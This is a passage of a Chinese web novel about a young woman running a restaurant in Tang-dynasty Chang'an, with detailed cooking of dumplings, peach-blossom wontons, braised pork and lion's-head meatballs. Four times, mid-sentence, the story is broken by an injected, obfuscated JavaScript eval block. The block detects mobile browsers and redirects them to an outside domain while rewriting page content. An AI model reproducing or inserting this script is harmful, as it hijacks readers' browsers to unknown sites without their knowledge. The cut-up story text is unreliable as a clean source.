朱屠夫表示，送上门没有问题。 杜昭华站起来伸了个懒腰，姿势称不上雅观，但是这动作她做出来自带一种不羁的洒脱感。 “下午，我去趟花市看看，春天不仅是吃野菜的季节，花也可做食材的。”杜昭华对着正在傻乐的白荷娘说道，今天只是试营业，晚食是不做的，明天才正式开始。 “啊？......好的。”白荷娘正数着铜板，被打断也不恼，重新数好一串铜板，然后郑重其事地将铜板放进钱盒里，她虽然相信娘子，但是心理其实一直担心往后的生计问题，现在好了，她完全不愁了。 饼再好吃，杜昭华连着吃两顿，就想换换口味，“小荷，饼吃腻了吧，有什么想吃的吗？” 关于杜昭华对她的各种称呼，白荷娘已经习以为常了，“我没有吃腻啊，肉夹膜好吃，今天做的煎饼也好好吃。”说罢，还咋咋嘴，仿佛还在回味早上吃的荠菜煎饼。 得了，这位问了也是白问，还是自己想吧，杜昭华看着那一篮子荠菜，那就做荠菜鲜肉饺子。 后世北方有句俗语是：“舒服不过躺着，好吃不过饺子。”北方吃饺子讲究自己和面，南方多是买饺子皮，杜昭华虽是个地道的南方人，确实面食爱好者，饺子自然也是自己手擀皮。 白荷娘手劲大，揉面技术在杜昭华的指导下，可谓是突飞猛进，白荷娘熟练地将面团搓成条，分成一个一个小剂子。 杜昭华拿起擀面杖压皮，饺子皮滴溜滚圆，厚薄匀称，嗯，杜昭华很满意，手艺不减当年呐。 饺子皮固然重要，可饺子的滋味取决于饺子馅，想要饺子陷不柴，就得加水，葱姜花椒冲入水中泡着，少量多次地往肉馅中加水，照一个方向搅打上劲，天津的狗不理包子，拌的肉馅也是这种方法，也叫做水馅包子，不过包子更讲究点的会用高汤拌馅。 片刻后，盖帘上摆满了圆滚滚的饺子，杜昭华将其倒入早已沸腾的水中，因是生馅要点两三次水。 没有熬高汤，杜昭华在碗中放猪油酱油以及虾米，用开水一冲，再放煮熟的白胖饺子，最后再加点胡荽，虾米是从东市买来的，不多，价格也贵，也就只够留着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811593|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家吃。 这就是两人的午食啦，白荷娘夹起一个，吹了吹就放入口中。 杜昭华话到嘴边，还未来得及说，她已经烫的张开嘴直斯哈，也不舍得吐出来，最后囫囵着咽下去了。 杜昭华无奈，递给白荷娘一杯水道：“慢点吃，不着急，我管够的” 饺子咸淡恰好，皮薄馅多油水足，咬下一口鲜嫩多汁，大小刚好，一口一个，这样馅里汁水就不会流出来。 午时客人更多了，有许多都是早上的回头客，新品荠菜鲜肉饺子同样销量喜人。杜昭华还是低估了客流量，后面还有一个人在排队，备好的食材就已经卖完了，只好对未买到的人表示抱歉，拿出一笼包子。 杜昭华莞尔一笑道：“明天本店会多备些食材的，现只剩一笼蒸饼——笋肉馒头，25文6个，郎君要买吗？”本是留给两人吃的，笋丁肉馅，看来是保不住了， 排在前头的是一个年轻郎君，见杜昭华笑语盈盈地与他说，脸腾地红了，捏紧衣角，“我......我买。” 送走最后一个客人，杜昭华赶紧提前将打烊的木牌挂在门口，原是顺手让陈木匠做的，以为用不上的，毕竟坊门到时间就会关闭，营业时间由官方控制，没想到第一天就用上了。 眼见着客人走远，白荷娘才收回恋恋不舍的目光，猪肉馒头她还没有尝过呢。 见她如此模样，杜昭华笑出声道：“晚上再包几个就是了，大白，大方点。” “娘子，我不馋的，就是有点点好奇猪肉馒头的味道。” “嗯。” 不理会杜昭华的敷衍，白荷娘跺跺脚，转身进厨房收拾碗筷。 ...... 杜昭华换了一身翻领小袖胡服，租了一辆牛车前往西市。 东西两市分属长安城的两端，从安邑坊去西市基本是横跨整个长安城。 牛车来到朱雀大街，杜昭华不是第一次来这，仍是感慨道：“这条马路好宽！”足有120多米宽，都可以作为机场跑道使用了。 穿过朱雀大街，再横跨三个坊，终于到了西市，东市是热闹繁华的，西市便称得上是喧哗，吆喝声、谈笑声不绝于耳，其中还夹杂着胡人含糊不清的汉话声。 一路逛过去，能看到不少胡商，杜昭华经过一家胡姬酒肆，远远就听到了充满异域风情的音乐，胡姬身穿艳丽的裙子跳着胡旋舞，就连空气中都仿佛充满了葡萄酒的味道。 杜昭华收回视线转头却与另一人的目光对上，那双眼黑白分明，眼角稍扬带着少年人的傲气，对方眸光微闪，似是没想到会在此遇见她。 是他——宋县尉。 5. 桃花馄饨 两人目光对上又随即移开，她后来听客人们闲谈，得知胡屠夫被判了杖刑六十下。 胡屠夫是与人起了争执，对方嫌动嘴不够，更是将他按在地上揍，旁人还来不及将两人分开，胡屠夫奋力将人推开，这一推人就死了。 他虽是有理者一方，但是致使对方死亡，原本是要上报给大理寺，按律要判死刑的，是宋县尉及时查处对方是逃兵，这才逃过死刑，据说引起他怀疑的是虎口处的一块烫伤。 本朝实行黥兵制，为防止逃兵，手上或者脸上会被刺字。 虽然死者是想以此掩盖刺青，但是烫伤是多么正常的一种伤口，偏偏他就看出了不同寻常之处，此人观察力非同一般。 杜昭华继续往前没走多久，便来到花市，这个时节已经有少量牡丹和月季上市了。牡丹花贵，月季还不到盛花期，卖的也不便宜，不过她不是来买这些的，倒是在一个摆摊的花贩那看到了想要的。 “娘子，买桃花吗？今上午才摘的，新鲜着呢！” 桃花色泽不错，杜昭华拿起一朵花，放在鼻尖闻了闻道：“我每天都要新鲜的桃花，能否每天定量送桃花到安邑坊？” “没有问题的，娘子。”花贩眉开眼笑，这可是来了个大客户。 杜昭华与花贩说定送货时间以及具体位置，花贩连连点头，表示一定会送去新鲜的桃花。路过陶器铺，买了一个大坛子，以及几个小坛子，服务还是挺到位的，这种都能送货上门。 ...... 《太平圣惠方》里记载了一款美容馄饨，将桃花磨成粉，与面粉混合一起，就能得到粉嫩粉嫩的馄饨皮，猪肉加上笋丁拌馅，包馄炖时加入秘制的杏酪，它会像芝士一样融合进肉馅直接爆汁。 当粉白的馄饨挤挤挨挨地铺满盖帘，如同初绽的桃花瓣，白荷娘目不转睛地盯着眼前的馄饨，“好漂亮啊，娘子。” 杜昭华轻轻一笑，杏眸弯弯似月牙，是呀，真好看，都有点不舍的吃。 “今晚就吃它了，不光好看，也会很好吃呢。” 馄饨在沸水中翻滚，宛如桃花在碧波中舒展花瓣。 轻咬一口，瞬间爆汁，春笋的脆嫩，肉馅与清甜的杏酪完美融合，汁醇味美，似有桃花香气在唇齿间萦绕不散，是春天的味道。 “呜呜呜，太好吃了，娘子。”白荷娘吃地头也不抬，还不忘发表下感叹，她之前都是吃的什么猪肉？ “好吃，你就多吃点。” “娘子，我会拼命努力干活的，”她要卖力给娘子做事，要留在娘子身边。 突如其来地表忠心，令杜昭华无奈一笑，这小姑娘还是很没有安全感呐。 “嗯，多吃点，吃饱了才更好干活的。”杜昭华夹起一个春笋鲜肉包放进她碗里。 “嗯......”白荷娘眼眶泛红，偷偷抹掉眼角的泪，她活了十几年，感受到的温暖都是娘子给的。 杜昭华装作看不见，继续吃馄饨，小姑娘脸皮薄，这点面子还是要给的。 ...... 杜昭华在柜台后面墙上挂上两块木牌，分别写着两样新品的价格，并且在门口只起一个木架，木架上是一幅画，一颗桃树下，小娘子跨着篮子摘桃花。旁边写着“春食花，桃花粥，桃花馄饨”。 《千金方》记载：“桃花三株，空腹饮用，细腰身。”桃花不仅好看，也是有药用价值的，长安寒食节当天，有不少人会喝桃花粥。 杜昭华做的桃花粥不仅放了糖，还加了蜂蜜，对于她来说，过于甜了，但是白荷娘接受良好，看食客们的反应也可以看出来，他们喜吃甜食，应该说这个朝代的人都如此，毕竟吃樱桃都要淋上一勺酪浆和蔗浆再吃。 桃花馄饨受限于杏酪没有冰箱保存，只能当天现做，因此只能每天午食定量供应五十份，没有想到反倒卖得更好，杜昭华真不是搞饥饿营销。 导致这两天午食时间一到，早早的就有人排长队购买桃花馄饨，毕竟没人会拒绝好看又好吃的桃花馄饨，可惜了，只能是春日限定美食。 “杜娘子，我要三个荠菜煎饼和两个肉夹膜” 闻言杜昭华手中动作一顿，抬头望去，是孙主簿。 “煎饼得趁热吃，放凉了滋味可就要少一半。” “不是我一个人吃，给同僚带的。”想起这个，孙主簿就忍不住叹气，自从吃过杜娘子做的荠菜煎饼，每天都会来买个荠菜煎饼或者肉夹膜。昨天他各买了一个，在他吃肉夹膜时就被李县丞瞧见了，问他哪家食肆买的，然后盯着他手里另一个褚皮纸袋看，意思不言而喻。 就这样，同僚们托他带朝食。 杜昭华挑眉一笑，没想到孙主簿成了外卖小哥，话说，据说宋朝经济发达，已经有了外卖员，她要不要发展下外卖业务呢？转头一想，现在食肆就两人，能供应堂食就很不错了，她转头就将此想法抛之脑后，继续摊她的煎饼。 外卖员孙主簿终于拿到了新鲜出炉的朝食，心想杜记食肆的生意越来越好了，每次都要排队，那他岂不是为了一口吃的，要早一点起床了？孙主簿甩甩头，不再想这种烦心事，翻身上马，赶往万年县衙。 万年县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811594|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙内，赵县丞捧着肉夹膜吃的津津有味，“没有想到猪肉也可以做的如此美味。”肉丁肥而不腻，饼皮外脆内软，如此搭配好极。 “我倒是听说过这个杜记食肆，这家食肆的桃花馄饨据说很是不错，但是每天卖得太少了，就只有五十份。”刘主簿看了一眼纸袋上可的印章，看来传言没有错，休沐日得去杜记尝尝其他的美食。 李县丞吃完一个肉夹膜仍然有些意犹未尽，“孙主簿啊，以后得劳烦你带朝食，我不像你就住的近，每天早晨天不亮就得起来，这早晨天冷，朝食就得吃冷的喽。” 孙主簿就知道以后都少不得要做这跑腿的活了，谁让对方又是长辈，平时还挺照顾他，他笑呵呵地应下了，溜到一旁的县廨，“宋县尉，我给你的荠菜煎饼好吃吧。” “味道是不错。” 他的嘴可刁了，能说不错应该是相当满意了，“嘿嘿，我就说好吃，你猜猜是谁做的。” 宋君衍闻言撩起眼帘，瞥了他一眼，“不猜。” “你就猜一下，难道你就不好奇吗？” “我不猜你也会说的。” 孙主簿一噎，交友不慎啊，这厮从小就知道怎么气他，没好气道：“休沐日那天在巷子里碰见的娘子，她姓杜，在安邑坊开了一家食肆叫杜记食肆，煎饼就是她做的。” 宋君衍眉梢一扬，眸底闪过一丝惊讶，他虽然只见过两次，却看得出来这位杜娘子性格刚烈，与外貌截然相反，行事也不似寻常女子。 孙主簿不等他说话，接着问道：“听说她家食肆的馄饨和牢丸都甚是不错，等休沐日，我们去尝尝？” “没空。” “嘿，你一个八品小官，怎么就比我爹还忙，上次约你打马球，你也说没空。”孙主簿就想不明白了，最近也没有案子要查呀。 “那天正好是我妹妹生辰。” 孙主簿一敲脑门，“原来是咱妹妹生辰啊，瞧我这记性，怎么这都忘了，我可得备一份厚礼给咱妹妹。” “行了，别在这耽误我做事。”宋君衍懒得纠正他的说法，皱眉朝他摆手。 ...... “娘子，春香今天又来买了五份桃花馄饨呢，她还说她家娘子吃了这个馄饨，气色都更好了。”白荷娘一脸喜色，想起什么接着道：“我们不再多做点桃花馄饨吗？不少客人都在问。” 桃花馄饨不至于有这么好的功效，随口夸赞一句罢了，不过瞧她那高兴样，好听的话谁不喜欢听呢。 “那就明天开始多加三十份，肉夹膜不做了，我们上新菜式。” 6. 琥珀肉 熟客们都已经知道今天会上一道新菜，吃朝食时就有不少人问，“杜娘子，怎么不见上琥珀肉？” “琥珀肉需要长时间的炖煮，日后都是午食和夕食供应。”《齐民要术》上说“肉作琥珀色乃止。”杜昭华便取名为琥珀肉。 食客不由更好奇起来，相熟的还约好午食一起来尝尝这琥珀肉。 等朝食这波客人散去，杜昭华开始做东坡肉，午食吃就刚好。 《齐民要术》杜昭华都是当食谱看的，其中就写到了类似东坡肉的做法，不知道东坡先生是否借鉴了书中做猪肉的方法。 书中将这种做法称为“缹”，意思就是将食物放在陶器中用小火慢煮。 五花肉烫去血水，切成四公分见方的肉块，稻草打个十字结，将肉块捆起来，然后将肉皮朝下放在铺了葱和姜片的竹蓖上，再放入酒、糖和酱油。 开锅后微火慢炖，这可急不得，就如苏东坡说：“待他自熟莫催他，火候足时他自美。” 一个小时过后，杜昭华掀起锅盖，将肉块一个个翻面，原本就被肉香勾的围在锅旁打转的白荷娘，这会直接就守着锅不走了。 不仅是白荷娘被馋到了，隔壁的柳大娘子也是，杜昭华今天已经不止一次地看见她在食肆门口晃悠。 柳大娘子和她家郎君开了一家卖羊肉汤的食肆，杜昭华偶尔也会买一碗回来吃，味道是不错的，关键是舍得放点胡椒，价格也比之前吃的羊肉馎饦贵许多。 再一次与杜昭华目光相对，柳大娘子这次不躲闪了，走进杜记，灿然一笑道：“杜娘子，你这炖的是什么呀，怎的这么香。” 话说做肉夹膜的卤肉也是香的，不过与东坡肉的香味比还是含蓄了点，卤肉更多的是香料与肉融合在一起的香，东坡肉是慢火炖煮逐渐收汁的肉香，其肉香味要更加霸道。 怪不得柳大娘子在隔壁都坐不住了，直接上门来，杜昭华唇角微弯，轻笑道：“这便是琥珀肉，待会肉炖好，我给柳大娘子送两块尝尝，就是你可别怪我，这香味将食客都吸引来了。”有些话摆在明面上讲出来，比憋在心里猜来猜去要强得多。 柳大娘子笑意不减，心情却很是微妙，要她说，一开始见杜昭华是一个孤女，小小年纪就要抛头露面地做生意，对她是有些怜惜的，她来食肆买羊肉汤，柳大娘子都会忍不住多给两片羊肉，杜娘子生得肤白貌美的，就是太瘦了些。 后来，眼见她的食肆生意越来越好，心中又不免泛酸，“杜娘子说笑了，我家真是沾了你的光，生意都好了些。”这是实话，最近她家食肆多了不少其他坊的食客。 杜昭华眼含真诚，笑吟吟道：“我们这叫共赢，说什么沾我的光，柳大娘子太谦虚了，你家的做的羊肉汤，谁吃了不都得夸一句好吃的。” 这杜娘子眼眸明亮清澈，说出来的话也让她信服，柳大娘子脸上的笑意真实了几分，“我都被这香味熏一上午了，可得好好品尝下这琥珀肉。” “柳大娘子放心，做好立马就给你送去。” ...... 当空气中的肉香越来越浓时，杜昭华掀开锅盖，肉皮软烂，筷子一戳即透，这东坡肉煮好了。 让白荷娘给隔壁送去四块东坡肉。杜昭华再夹出四块放在白瓷盘中，淋上一勺酱汁，莴苣丝凉拌，一小碟腌萝卜片，这就是两人的午食了。 做餐饮的总是要跟食客错开时间吃饭，她一直都是选择提前吃，饿着肚子她都怕自己忍不住偷吃。 白荷娘端回来一碗羊肉汤，杜昭华挑眉道：“这份汤午食吃不完的，留着下午加餐吃了吧。” 白荷娘自然是没有意见的，她一向都是娘子怎么说就怎么做，更何况，午食有她更想吃的琥珀肉。 用筷子轻轻一夹，瓷盘中的琥珀肉便轻微颤动，咬下一口，肉皮肥而不腻，稍微一咀嚼，便在口中化开，滑香腴润，再吃一口裹满了浓郁的酱汁的稻米饭，简直下饭神器，这会正是饥肠辘辘，食欲最强的时候，两人一口一口吃地停不下来。 杜昭华夹一块琥珀肉，吃一块腌萝卜，这是她前几天腌制的，加了茱萸，萝卜脆爽鲜辣，客人也挺喜欢吃的，这道凉拌莴苣丝也是脆爽可口，就着凉拌菜，她也吃了一整块东坡肉，一块可不小，有小孩拳头那么大，后世国宴都是一人一块。 白荷娘的胃口一如既往的好，一连吃了两块，还剩下一块，两人满足中又带着些痛苦地将它吃完了，不得不拿出山楂丸，一人吃了两颗。 不过，很快两人就忙起来了，琥珀肉几乎人人点了一份，就这香味，闻到了就没有能拒绝的。 不愧是国宴名菜之一，长安人哪里吃过如此浓油赤酱的东坡肉，这可比蒸猪肉蘸蒜泥好吃多了，当然价格也比较美丽，不过，杜昭华定位的就是中高端的市场，时下，就算猪肉比羊肉便宜不少，普通百姓想顿顿吃猪肉是做不到的。 “小娘子，再来一碟萝菹。” “好嘞！”白荷娘端着盘子来回穿梭在桌案间。 不少客人早上就惦记上了琥珀肉，这会一来就先点上，然后发现这萝菹搭配着琥珀肉吃格外的香，脆爽中带着些辣味，再来一口软烂入味的琥珀肉，一口又一口，一碗稻米饭很快见底。杜小娘子的手艺真的不错。 不说猪肉做的美味，就连蔬菜都青翠爽口，不像平时吃的软绵绵的口感。 “小娘子，来一份荠菜牢丸” “好嘞，稍等一下。”杜昭华刚煮完最后一份桃花馄饨，马上利落地将荠菜饺子倒入沸水中。 吴三郎兴冲冲地大声道：“杜娘子，来一份肉夹膜。” “本店不做肉夹膜了，客人可以尝尝其他的。”杜昭华头也不抬地继续手里的活。 吴三郎语气激动地道：“啊，我还没有吃过，怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811595|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有了！”他瞬间神情沮丧，一幅无比懊悔的样子。 这话音里透着说不出的失落，杜昭华闻言抬头看去，见是一个身穿青袍，头戴儒巾的小郎君，看着还有点脸熟，她在记忆里搜索一番，想起来了，原先宅子隔壁家的吴三郎。 “原来是吴三郎，肉夹膜确实没有，你可以尝试下琥珀肉，也是猪肉做的。”原身和他也就是说过几句话而已，作为国子监书生，他和父亲较为熟悉。 吴三郎一改沮丧的神情，眉毛一弯，笑道：“那来一份琥珀肉！” “好嘞，吴三郎先找个桌案坐会。”这前后表情变化可真快啊，要说与他家有多熟，其实并没有，吴三郎父亲是户部侍郎，两家相差悬殊，走动不多，但是原身父亲丧礼亲自过来吊唁，以前还是邻居，宅子却是租的，现在邻居也不是了。 吴三郎选一个角落的位置坐下，有些新奇地打量着圈椅，他那天闻到的肉香味，原来就是杜娘子的手艺，这还是从一个同窗那得知杜记食肆。 要说为什么他住同一个坊都不知道呢，他家靠近安邑坊西门，杜记在北门附近，而他从西门去国子监也顺路，导致他过了这么多天才知道。 “吴三郎，琥珀肉请慢用。” “我没有点这道菜。”吴三郎看着那一碟萝菹，闻到了一股带点酸又有点辣的味道，嘴里不自觉地分泌口水，白瓷盘中两块方方正正的肉赤红油亮，盘子放在桌案时琥珀肉还轻轻颤动了下，这股肉香比那天闻到的更加馥郁。 白荷娘垂目微笑道：“这是我家娘子送给吴郎君的，配着琥珀肉吃甚好。” 吴三郎挠挠头，憨憨一笑道：“那就多谢杜娘子了。” ...... 鉴于长安人喜吃甜食，杜昭华去陈木匠那定做了一批模具，打算做些糕点。 陈木匠拍胸脯表示，一定优先给她做。“杜娘子放心，用不了两天就给你送去。”他见到杜娘子眼角眉梢的喜色藏都藏不住。 杜昭华知他为何如此，之前的圈椅不少人找到陈木匠那，陈木匠来问她意见，她同意了，其实不同意又如何，现下没有专利可言，她不想掺合也没有能力阻止，还不如做顺水人情。 等收到木质模具，杜昭华发现陈木匠做的相当细致，入手光滑，没有一点毛刺，应是仔细打磨过。 桃花晾干后与蜂蜜分层装入密封罐，她将其搅拌至花瓣释放水份，吊在井中放个三四天，桃花酱就做好了，可以用来做桃花糕，亦可泡水喝，名曰桃花饮。 现在食肆缺少饮品，饮品就绕不开酒，要说本朝上至权贵公卿，下至市井百姓，饮酒成风，甚至可以说是一种文化现象，杜昭华便去酒坊买了些白酒和少量清酒。 除此之外，杜昭华想做些饮子，酒水放现代餐饮也是很赚钱的，现在食肆也开始有小娘子上门，不过她们更多的是拎着食盒过来将食物带回去。 7. 狮子头 继桃花馄饨之后，杜昭华又做了桃花糕以及桃花饮，算是将桃花物尽其用了，除了桃花饮之外，还有紫苏饮和竹叶熟水。 紫苏饮做法相当简单，将紫苏叶火焙后，冲入沸水，再放入冰糖。 紫苏饮具有独特的草本清香，清爽中又带着丝丝甜意，杜昭华觉得这种口感搭配吃肉相得益彰。 竹叶熟水就是将清洗干净的竹叶放入锅中煸炒，可以最大程度地激发出竹叶的香气，炒好的竹叶放入沸水中，焖泡一会，再把叶子捞出来，加入冰糖，最后倒入陶罐中。 夏天的话可以吊进井中，喝着很凉爽，甘甜又有竹子清香。 杜昭华将这三种饮品做出一一摆放在白荷娘前面，让她品评一番，哪个更好喝。 “娘子，我觉得竹叶熟水最好喝。”说罢，将剩余半杯竹叶熟水仰头一饮而尽，喝的那叫一个豪迈，不知道的以为在喝酒。 果然不出她所料，因为这个最甜，要她说，她还是更喜欢喝桃花饮，微甜中带着些桃花香。 ....... 糕点和饮品都有了，杜昭华眼看琥珀肉成为店里的招牌菜，每天中午和晚上都得炖一锅，打算趁热打铁再做一道猪肉美食。 国宴十道经典名菜中用猪肉做的菜就是东坡肉和狮子头。 做狮子头是挺费功夫的一道菜，肉选三肥七瘦的，当然也有不少人选择五五分的比例，杜昭华觉得太过肥腻了，她是打算清炖的。 首先要很有耐心的将肉切成丁，即筷子头大小的丁，然后略剁即可，也就是要细切粗斩，不能挥刀如雨，剁成碎末。 “一斤肉呢，分成四个到六个是最好的，太大了不容易熟，太小了没有狮子头的气势。”杜昭华一边讲解，一边手上动作不停，在砂锅中放入春笋和猪皮，再加入葱、姜、糖、酒。 略用稀芡粉，捏搓成肉丸，“小荷，搓肉丸只要成略圆，不会散开就行，不要用劲揉搓。” 杜昭华见她跟搓肉丸似的，眉头一跳，赶忙出声阻止，狮子头与肉丸不同之处就在于狮子头的肉是有颗粒感的。 她闻言连忙停下手中动作，仔细观察杜昭华的手法，跟着慢慢学。 杜昭华心中暗忖，孺子可教也，白荷娘在厨艺上还是有些天赋的，许多人就算知道做法，也是很有可能做的不好吃的，但现在食肆中的菜，她基本都会且做的不错。 等锅中稍微沸腾，将肉丸轻轻放入锅中，清炖加盐，红烧加酱油，真正的老饕以清炖为上。在狮子头上面盖上两片菘菜，可以更好的让狮子头均匀的熟透，接下来就交给时间，小火慢炖。 狮子头依然没有令杜昭华失望，一经推出，销量蹭蹭地往上涨。 若用性格来形容琥珀肉和狮子头，那就是琥珀肉是热情而奔放的，只要一闻便觉得好吃，狮子头确是看似寡淡，实则内涵乾坤，有内秀。 时间在忙碌中总是过的很快，杜昭华只觉得从早上开始就忙的没有停下来，一抬头就见外面天色有些阴沉，要下雨了，她拿出一个木桶放在门口，用来放雨伞的。 刚放好，就开始下起雨来，细雨如丝，慢慢变大，雨滴坠入积水中，绽开微小的透明花瓣，短暂绽放后，就融入积水中。 杜昭华伸出手，感受雨滴落在手心带来的的微凉感，她喜欢看雨，亦喜欢听雨落下的声音。 当然这一切前提是，她不用出门。 她讨厌下雨出门，就是这么矛盾。 欣赏了会雨，杜昭华转身走入食肆中，继续忙碌，此时正是吃夕食的时间，下雨是阻挡不了吃货对美食的向往。 店内的灯盏一一被点亮，在这暖黄的灯火中，食客们推杯换盏，一派温馨热闹的场面，食肆外却天色暗沉下来，行人渐少，店内店外完全是两个世界。 “店家，来一份狮子头。” “好嘞。”杜昭华用长柄匙舀一个圆润的狮子头放入瓷碗中，端起托盘走到客人桌案前，依次放好。 “狮子头？”宋君衍随意瞥了一眼柜台后方小木牌，字体是温润含蓄的正楷，刚要转头又顿住，细看其笔法，气势飞动，飘逸多姿，这是“行笔入揩”？这杜娘子果真字如其人，也有两幅面孔。 杜昭华闻言转过身，宋县尉应该是刚放衙，还穿着深青色长袍官服，不过没有戴幞头，发丝以一根玉簪挽起，露出光洁的额头，身姿修长挺拔，端的是翩翩少年郎。 她走上前去，将托盘放在柜台上，笑道：“狮子头就是大肉丸，因肉丸表面微有起伏，呈现毛糙糙的感觉，形似狮子头而得名，宋县尉不妨尝一尝。” “行，再来个凉拌莴苣丝，桃花饮。”说罢就近找了张桌案坐下。 宋君衍撩袍坐下，懒洋洋地往后一靠，抬手揉了揉额角，下午一心查案，以至于错过公厨的饭点，案情线索中断，一时又没有思绪。 本打算去附近的食肆吃夕食，想起最近吃到的煎饼以及馄饨，脚步一转便来这了。 只是当他坐下来在心中捋清自己的思绪，正打算重新推演一番案情，脑海中却划过一个念头，这圈椅靠着还挺舒服的。 这下推演案情是进行不下去了，思绪又偏移到了空气中弥漫开来的食物香气，宋君衍这会才感觉到胃里空空。 好在没多久，菜上桌了。 瓷碗中汤色清澈，宋君衍拿起匙舀一块放入口中，眼中一亮。 其嫩入豆腐，软嫩但形状又不散，入口即化，肉质鲜嫩细腻嫩滑。 夹起莴苣丝，脆爽可口，桃花饮微甜清香。 总之，宋君衍吃的相当满足，顿时感觉一天的疲惫都消散不少。 杜昭华收拾柜台地空隙，往前瞥了一眼，她突然理解了秀色可餐这词，没见旁边桌案一娘子羞红了脸吗，她做的美食何时如此被人忽略。 虽然她穿的是男装，确是生得芳殊明媚，一眼就能看出是个美丽的小娘子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811596|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这边宋君衍沉浸在美食中，不知觉间已空盘，心想下回可以带些回去给妹妹尝尝。结完账，他便心满意足地离开食肆。 ...... 眼看寒食节将至，过后便是清明节，杜昭华准备做些节日礼盒——青团，清明节正是郊游踏青的好时节，哪怕是最爱清净、不喜欢凑热闹的人，在这个春暖花开的时节，也会忍不住携三五好友，或者家人出门游玩。 既然去玩，怎么少的了美食呢，杜昭华去订了一批纸盒，依然印上杜记的印章。 本朝也有青团，但是只有加豆沙馅一种做法，她打算做咸甜两种都做些。 杜昭华在柜台后挂上一幅画，其实不能说是画，纸上就画了一个圆滚滚的青团，旁边写明有五种口味，可以是五个一盒，也可以是十个一盒。 最后附上“清明青团，艾香青翠”。 挂完她拍拍手，欣赏了下自己的“佳作”，这种节令食品就不做木牌了，明年还可以拿出来挂上。 柜台上还摆了一盘青团，各个口味都有，切成小块，给进店的食客免费品尝，为此，白荷娘颇为心疼了一番，感叹这得费好多钱呐，娘子用料讲究，一个卖价格可不便宜。 杜昭华安慰她：“没事的，这叫舍不得孩子，套不着狼，不会亏的。” 道理她懂，就是习惯了节俭。 “冯郎君，是要青团吗？”杜昭华见他站在柜台前，一脸纠结地看着青团，他就是之排队没有买到煎饼，买了笋丁肉馅馒头的年轻郎君。 之所以认识他，全因他和孙主簿一样，同为食肆的“编外外卖员”。 他点点头，又看了一眼柜台后面的画，欲言又止。 杜昭华知道他在纠结口味，柜台上摆放的试吃青团只剩下红豆这一种口味了，她也不是放开了给客人试吃的。 “喜欢吃甜的话，可以选择红豆、芝麻和桃花，咸口的话，就选蛋黄肉松和春笋肉丁。” “甜口的各来三个，再来一个蛋黄肉松。” 看来又是个甜党，咸口的只愿意买一个来尝尝，不过，也有例外，有一个客人就全买的是咸口的，杜昭华自己是从来不会纠结甜咸，她像来一视同仁。 青团在寒食节前一天迎来了一波高潮，本朝初始，寒食节是要“禁火”三天的，直至清明节当天举行“改火”仪式，宫廷会赐火给百官，百姓就只能是自己弄新火种。 现如今，寒食节与清明节逐渐融合，禁火传统弱化，只是许多百姓依然会在寒食节当天吃冷食，如“子推蒸饼”、“饧大麦粥”、以及“子推燕”等。 寒食节当天，杜记食肆歇业，杜昭华租一辆牛车，带着酒、饭食、糕点、纸钱等上坟用品，前往郊外。 来到坟前，杜昭华把带来的食物供祭在墓前，奠几杯酒，烧了一把纸钱，抬头看了一眼墓碑上写的“唐故国子监博士杜知信墓”，以及一旁的“显妣朱淑静太夫人之灵”。 8. 寒食节 杜昭华沉默了好一会，后世的她就是跟奶奶一起长大的，对父母的记忆早已经模糊，穿来这里，原身对父亲的感情深厚，因此想起父亲，脑海里都是原身的父亲。 她能感受到，却无法代入，始终记得她是杜箐箐，其实是她依然站在旁观者的角度看待这里的人，会遵从这里的习俗，随遇而安，只是还没有办法融入。 “娘子？”白荷娘见杜昭华盯着墓碑一动不动，虽然不像附近的人一样在墓前痛哭，但是，娘子的背影充满了孤独寂寥之感，她忍不住出声，想打断娘子继续沉浸在这种情绪里面。 娘子像平时那般笑着多好看呐，还是得多笑笑才好。 杜昭华转头微笑：“我没事，我去附近走走，折几枝柳树上的嫩绿叶来。” 